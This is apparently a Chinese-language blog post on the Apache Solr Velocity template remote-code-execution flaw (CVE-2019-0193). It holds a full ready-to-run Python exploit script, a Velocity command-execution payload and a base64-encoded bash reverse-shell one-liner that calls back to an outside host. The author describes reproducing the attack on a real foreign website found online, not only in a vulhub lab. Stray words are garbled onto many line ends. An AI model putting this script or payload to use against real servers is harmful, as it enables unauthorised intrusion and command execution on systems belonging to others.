CVE-2019-0193 Apache solr velocity模塊漏洞

Solr簡單介紹

Solr是創建在Apache Lucene ™之上的一個流行、快速、開放源代碼的企業搜索平臺。java

Solr具備高度的可靠性,可伸縮性和容錯能力,可提供分佈式索引,複製和負載平衡查詢,自動故障轉移和恢復,集中式配置等。Solr爲許多世界上最大的互聯網站點提供搜索和導航功能。node

漏洞介紹

該漏洞的產生是因爲兩方面的緣由:python

當攻擊者能夠直接訪問Solr控制檯時,能夠經過發送相似/節點名/config的POST請求對該節點的配置文件作更改。git

Apache Solr默認集成VelocityResponseWriter插件,在該插件的初始化參數中的params.resource.loader.enabled這個選項是用來控制是否容許參數資源加載器在Solr請求參數中指定模版,默認設置是false。
當設置params.resource.loader.enabled爲true時,將容許用戶經過設置請求中的參數來指定相關資源的加載,這也就意味着攻擊者能夠經過構造一個具備威脅的攻擊請求,在服務器上進行命令執行。(來自360CERTgithub

影響範圍:5.x - 8.2.0docker

須要具備config apishell

漏洞復現

翻了挺久,不少站都是沒有core admin中的用戶(自我理解),或是有的站已經有所防禦,開啓了密碼驗證,測試了不少站,發現一個外國的一個站能夠完美復現。(純屬本身不喜歡手動搭建)apache

GET請求訪問config

/solr/用戶名/config

 

 

post請求poc驗證

 

 

 

 

 

poc成功json

 

GET請求RCE poc

 

 

很幸運,solr進程是以root用戶權限執行的,通常應該是solr權限。api

 

 

 

 只能執行一個命令,ls,pwd,whoami,id等單個命令。遺憾,不懂java,不知道是否是能夠改爲完整RCE的exp

剛出爐的py_exp

"""
auth: @l3_W0ng
version: 1.0
function: Apache Solr RCE via Velocity template
usage: python3 script.py ip [port [command]]
               default port=8983
               default command=whoami
note:
Step1: Init Apache Solr Configuration
Step2: Remote Exec in Every Solr Node
"""


import sys
import json
import time
import requests


class initSolr(object):

    timestamp_s = str(time.time()).split('.')
    timestamp = timestamp_s[0] + timestamp_s[1][0:-3]

    def __init__(self, ip, port):
        self.ip = ip
        self.port = port

    def get_nodes(self):
        payload = {
            '_': self.timestamp,
            'indexInfo': 'false',
            'wt': 'json'
        }
        url = 'http://' + self.ip + ':' + self.port + '/solr/admin/cores'

        try:
            nodes_info = requests.get(url, params=payload, timeout=5)
            node = list(nodes_info.json()['status'].keys())
            state = 1
        except:
            node = ''
            state = 0

        if node:
            return {
                'node': node,
                'state': state,
                'msg': 'Get Nodes Successfully'
            }
        else:
            return {
                'node': None,
                'state': state,
                'msg': 'Get Nodes Failed'
            }

    def get_system(self):
        payload = {
            '_': self.timestamp,
            'wt': 'json'
        }
        url = 'http://' + self.ip + ':' + self.port + '/solr/admin/info/system'
        try:
            system_info = requests.get(url=url, params=payload, timeout=5)
            os_name = system_info.json()['system']['name']
            os_uname = system_info.json()['system']['uname']
            os_version = system_info.json()['system']['version']
            state = 1

        except:
            os_name = ''
            os_uname = ''
            os_version = ''
            state = 0

        return {
            'system': {
                'name': os_name,
                'uname': os_uname,
                'version': os_version,
                'state': state
            }
        }


class apacheSolrRCE(object):

    def __init__(self, ip, port, node, command):
        self.ip = ip
        self.port = port
        self.node = node
        self.command = command
        self.url = "http://" + self.ip + ':' + self.port + '/solr/' + self.node

    def init_node_config(self):
        url = self.url + '/config'
        payload = {
            'update-queryresponsewriter': {
                'startup': 'lazy',
                'name': 'velocity',
                'class': 'solr.VelocityResponseWriter',
                'template.base.dir': '',
                'solr.resource.loader.enabled': 'true',
                'params.resource.loader.enabled': 'true'
            }
        }
        try:
            res = requests.post(url=url, data=json.dumps(payload), timeout=5)
            if res.status_code == 200:
                return {
                    'init': 'Init node config successfully',
                    'state': 1
                }
            else:
                return {
                    'init': 'Init node config failed',
                    'state': 0
                }
        except:
            return {
                'init': 'Init node config failed',
                'state': 0
            }

    def rce(self):
        url = self.url + ("/select?q=1&&wt=velocity&v.template=custom&v.template.custom="
                          "%23set($x=%27%27)+"
                          "%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+"
                          "%23set($chr=$x.class.forName(%27java.lang.Character%27))+"
                          "%23set($str=$x.class.forName(%27java.lang.String%27))+"
                          "%23set($ex=$rt.getRuntime().exec(%27" + self.command +
                          "%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+"
                          "%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end")
        try:
            res = requests.get(url=url, timeout=5)
            if res.status_code == 200:
                try:
                    if res.json()['responseHeader']['status'] == '0':
                        return 'RCE failed @Apache Solr node %s\n' % self.node
                    else:
                        return 'RCE failed @Apache Solr node %s\n' % self.node
                except:
                    return 'RCE Successfully @Apache Solr node %s\n %s\n' % (self.node, res.text.strip().strip('0'))

            else:
                return 'RCE failed @Apache Solr node %s\n' % self.node
        except:
            return 'RCE failed @Apache Solr node %s\n' % self.node


def check(ip, port='8983', command='whoami'):
    system = initSolr(ip=ip, port=port)
    if system.get_nodes()['state'] == 0:
        print('No Nodes Found. Remote Exec Failed!')
    else:
        nodes = system.get_nodes()['node']
        systeminfo = system.get_system()
        os_name = systeminfo['system']['name']
        os_version = systeminfo['system']['version']
        print('OS Realese: %s, OS Version: %s\nif remote exec failed, '
              'you should change your command with right os platform\n' % (os_name, os_version))

        for node in nodes:
            res = apacheSolrRCE(ip=ip, port=port, node=node, command=command)
            init_node_config = res.init_node_config()
            if init_node_config['state'] == 1:
                print('Init node %s Successfully, exec command=%s' % (node, command))
                result = res.rce()
                print(result)
            else:
                print('Init node %s Failed, Remote Exec Failed\n' % node)


if __name__ == '__main__':
    usage = ('python3 script.py ip [port [command]]\n '
             '\t\tdefault port=8983\n '
             '\t\tdefault command=whoami')

    if len(sys.argv) == 4:
        ip = sys.argv[1]
        port = sys.argv[2]
        command = sys.argv[3]
        check(ip=ip, port=port, command=command)
    elif len(sys.argv) == 3:
        ip = sys.argv[1]
        port = sys.argv[2]
        check(ip=ip, port=port)
    elif len(sys.argv) == 2:
        ip = sys.argv[1]
        check(ip=ip)
    else:
        print('Usage: %s:\n' % usage)   

分析下exp.py,經過訪問/solr/admin/cores獲取返回的json()對象中的['status']

list(nodes_info.json()['status'].keys())

 

而後在經過字典方法keys,返回全部的鍵。

 

而後在initSolr中get_nodes返回一個字典,講獲取的兩個node名,做爲'node'的鍵值

return {
                'node': node,
                'state': state,
                'msg': 'Get Nodes Successfully'
            }

而後就是經過/solr/admin/info/system獲取主機的相關信息

system_info = requests.get(url=url, params=payload, timeout=5)
            os_name = system_info.json()['system']['name']
            os_uname = system_info.json()['system']['uname']
            os_version = system_info.json()['system']['version']
            state = 1  

最後調用rce方法,將poc的get和post帶上,迭代數組中的兩個node(不必定就是兩個,視主機狀況而定)嘗試RCE,而後獲取返回值

pyexp實驗以下:

 

只能執行單個命令,沒法執行帶空格的命令。好比ls -l ,cat xxx等

 

 

總結

  • 這裏分析,只是以爲想知道py_exp的運行方式和獲取node的具體方式。真得很佩服能經過poc快速編寫exp的能力的大佬,膜拜。但願有朝一日,也有如此的快速編寫py腳本能力。
  • 自我能力有限,而且不懂java,不知道是否能夠真正的RCE,如今的版本,在個人認知裏,只能作到whoami,id,pwd,lastlog等單個命令,作不到帶空格的命令。原本想嘗試passwd的,想一想算了,萬一搞破壞了,多很差,雖然都是外國站。

二次復現之反彈shell

今天看到了能夠反彈shell的命令,因此嘗試一波

利用vulnhub的環境復現

/vulhub/solr/CVE-2019-0193/

docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

搭建成功

再好好的復現一遍。

發現不能單純的靠空格來,由於是直接用的get傳數據,因此得加個%20或者+號做爲空格。post數據是已經url編碼過的,因此須要將咱們的命令再urlencode的一遍便可。

通過不少搜索發現,java的RCE中反彈shell的payload不少都會修改爲SpEL語句,即Spring表達式語言(本人對java知之甚少)

反彈shell payload:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQxLjEvOTk5OSAwPiYx|{base64,-d}|{bash,-i}  

再進行urlencode一次就能夠了。

exp直接能夠反彈到shell。這裏不實驗了。擼做業了。

相關文章
相關標籤/搜索